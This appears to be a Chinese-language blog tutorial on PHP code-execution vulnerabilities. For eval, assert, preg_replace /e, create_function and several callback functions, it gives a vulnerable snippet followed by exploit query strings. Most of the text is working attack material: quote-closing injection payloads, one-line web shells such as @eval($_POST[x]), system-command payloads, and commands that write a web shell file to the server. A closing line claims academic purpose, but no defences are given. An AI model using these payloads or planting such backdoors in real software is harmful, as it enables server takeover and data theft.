一、 漏洞产生的原因
PHP脚本语言简洁,方便,但也与此同时伴随着一些问题,例如速度慢,无法解除系统底层等等。在web程序中,有时候程序员为了代码的灵活性与简洁性,会适当调用代码执行的函数执行。但由于没有充分考虑到用户是否会使用与控制,最终导致web应用存在代码执行漏洞。
二、 漏洞产生的常见函数
2.1 eval()
eval(phpcode)
eval() —— 把字符串按照 PHP 代码来计算。
(1) 直接利用漏洞源码:
<?php
$data = $_GET['data'];
eval("\$ret = $data;");
echo $ret;
?>
漏洞利用:?data=phpinfo()
(2)闭合绕过
- 例子1:
<?php
$data = $_GET['data'];
eval("\$ret = \"$data\";");
echo $ret;
?>
漏洞利用:
- ?data=";phpinfo();")//
- ?data=${phpinfo()}(php版本5.5及以上)
- ?data=");@eval($_POST[x]);//
- 例子2:
<?php
$data = $_GET['data'];
eval("\$ret = strtolower('$data');");
?>
漏洞利用:
- ?data=’);phpinfo();//
- ?data=’);$cmd=shell_exec(‘systeminfo’);echo “<pre>{$cmd}</pre>”;//
- 例子3:
<?php
$data = $_GET['data'];
eval("\$ret = strtolower(\"$data\");");
?>
漏洞利用:
- ?data=");phpinfo();//
- ?data=${phpinfo()}(php版本5.5及以上)
- ?data=${@eval($_POST[x])}
2.2 assert()
assert — 检查一个断言是否为 false ps: assert($a)只能单行执行
- 例子1:
<?php
$aaa = "abbbsbbsbbebbrbbt";
$ccc = str_replace('b','',$aaa);
$ccc($_POST[1]);
漏洞利用:
- POST方法 1=phpinfo();
- 菜刀连接
- 例子2: 利用assert写木马 服务器代码:
<?php assert($_REQUEST[8]); ?>
网页提交 执行完后,服务器生成2.php文件
2.3 preg_replace()+/e 模式
正则替换函数,配合/e可产生代码执行。 /e 可执行模式,此为PHP专有参数,例如preg_replace函数。 (php7.0以后不再支持/e修饰)
- 例子1:
<?php
$pattern = "/^\d{5,11}$/ie";
$qq = '1231456';
$replace = "phpinfo();";
echo preg_replace($pattern,$replace,$qq);
正则表达式解析:匹配以数字开头的字符串,字符至少5个,最多11个。行尾一定是数字(\d 为数字类型,{5,11} 5-11个字符,$ 到行尾,后面不能再有字符)
- 例子2: (木马一句话)
<?php @preg_replace("/abc/e","$_REQUEST[x]","abcd"); ?>
漏洞利用:?x=phpinfo();
2.4 create_function() 匿名函数
create_function ( string $args , string $code )
create_function() —— 定义一个没有名字的函数,直接用变量调用。
- 例子1:
<?php $a = create_function('$id',$_REQUEST[x]); ?>
等同于
<?php
a = function Anonymous($id)
{
$_REQUEST[x];
}
?>
漏洞利用: 由于参数$a在被需要调用时才有用,因为在函数里,所以不执行。故闭合绕过函数,
- ?x=}phpinfo();// 单行注释
- ?x=}phpinfo();/* 多行注释
- 例子2:
由于参数$a在被需要调用时才有用,因此我们虚构一个调用函数
<?php
$a = create_function('$id',$_REQUEST[x]);
echo $a('afssda');
?>
漏洞利用:?x=phpinfo();
2.5 array_map() 回调函数
array_map ( callable $callback , array $array1 [, array $… ] )
array_map() —— 回调函数,可以使用别的函数。
$o = array_map(函数,传参);
(1)函数使用示范
<?php
function cube($n)
{
return ($n*$n*$n);
}
$a = [1,2,3,4,5];
$b = array_map(cube,$a);传入参数
var_dump($b);
?>
(2)漏洞测试
<?php
$a = [1,2,3,4,5];
$b = array_map(phpinfo(),$a);
var_dump($b);
?>
(3)漏洞复现
- 例子1:
<?php $o = array_map(assert,$_REQUEST); ?>
漏洞利用:?x=phpinfo(); - 例子2:(进阶骚操作)
<?php $o = array_map($_REQUEST[1],array($_REQUEST[2])); ?>
漏洞利用:?1=assert&2=phpinfo();
(4)回调函数一句话木马总结
array_map('assert',array($_POST[x]));
array_map(\$_REQUEST[1],array(\$_REQUEST[2]));
(5)补充
- 回调函数中,eval无法被调用。由于eval是执行语句,比较特殊,不被认为是函数,属于特殊写法。
- PHP中还有很多回调函数。如call_user_func()等等。
2.6 call_user_func()
call_user_func ( callable $callback [, mixed $parameter [, mixed $… ]] )
call_user_func —— 第一个参数作为回调函数调用, 其余参数是回调函数的参数
<?php call_user_func($_GET['a1'],$_GET['a2']); ?>
漏洞利用:
- ?a1=system&a2=whoami //命令执行
- ?a1=assert&a2=phpinfo() //代码执行
补充call_user_func函数使用示例:
<?php
function welcome($name)
{
echo "hello $name <br>";
}
call_user_func('welcome', "tom");
call_user_func('welcome', "jack");
?>
2.7 call_user_func_array()
call_user_func_array ( callable $callback , array $param_arr )
call_user_func_array() —— 把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入
<?php call_user_func_array($_GET['a1'],$_GET['a2']); ?>
漏洞利用:
- ?a1=system&a2[]=whoami
- ?a1=assert&a2[]=phpinfo()
2.8 array_filter()
array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
array_filter() —— 把输入数组中的每个键值传给回调函数。如果回调函数返回 true,则把输入数组中的当前键值返回给结果数组。数组键名保持不变。
提示: Window中的^等同于linux的”
<?php array_filter(array($_REQUEST[1]),$_REQUEST[2]); ?>
漏洞利用:
- ?1=whoami&2=system
- ?1=^dir ..^&2=system
- ?1=^dir^&2=system
- ?1=^systeminfo^&2=system
通过上述方法,可以测试出存在代码执行漏洞。因此,注入木马
?1=^echo “<?php @eval($_POST[x]); ?>” > 3.php^&2=system
2.9 usort()
usort ( array &$array , callable $value_compare_func )
usort() —— 调用用户自定义的比较函数对数组进行排序。
<?php
usort($_REQUEST,"ass"."ert");
?>
2.10 array_walk()
array_walk ( array &$array , callable $callback [, mixed $userdata = NULL ] )
array_walk —— 使用用户自定义函数对数组中的每个元素做回调处理
<?php array_walk($_GET['a'],$_GET['b']); ?>
漏洞利用:
- ?a[]=phpinfo()&b=assert
- ?a[]=whoami&b=system
2.11 ob_start()
ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
ob_start —— 打开输出控制缓冲
<?php $cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush(); ?>
漏洞利用:?a=whoami
2.12 动态函数
<?php $_GET[1]($_GET[2]);?>
漏洞利用:
- ?1=eval&2=$_POST[x]
- ?1=assert&2=$_POST[x]
- ?1=system&2=whoami
- ?1=system&2=^echo “<?php @eval($_POST[x]); ?>” > 1.php^
本文用途只做学术交流,攥写不易,如果有用,老铁们点个赞。
参考: 【1】https://blog.csdn.net/qq_38348692/article/details/100848903 【2】https://pplsec.github.io/2019/01/17/PHP%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C&%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/
|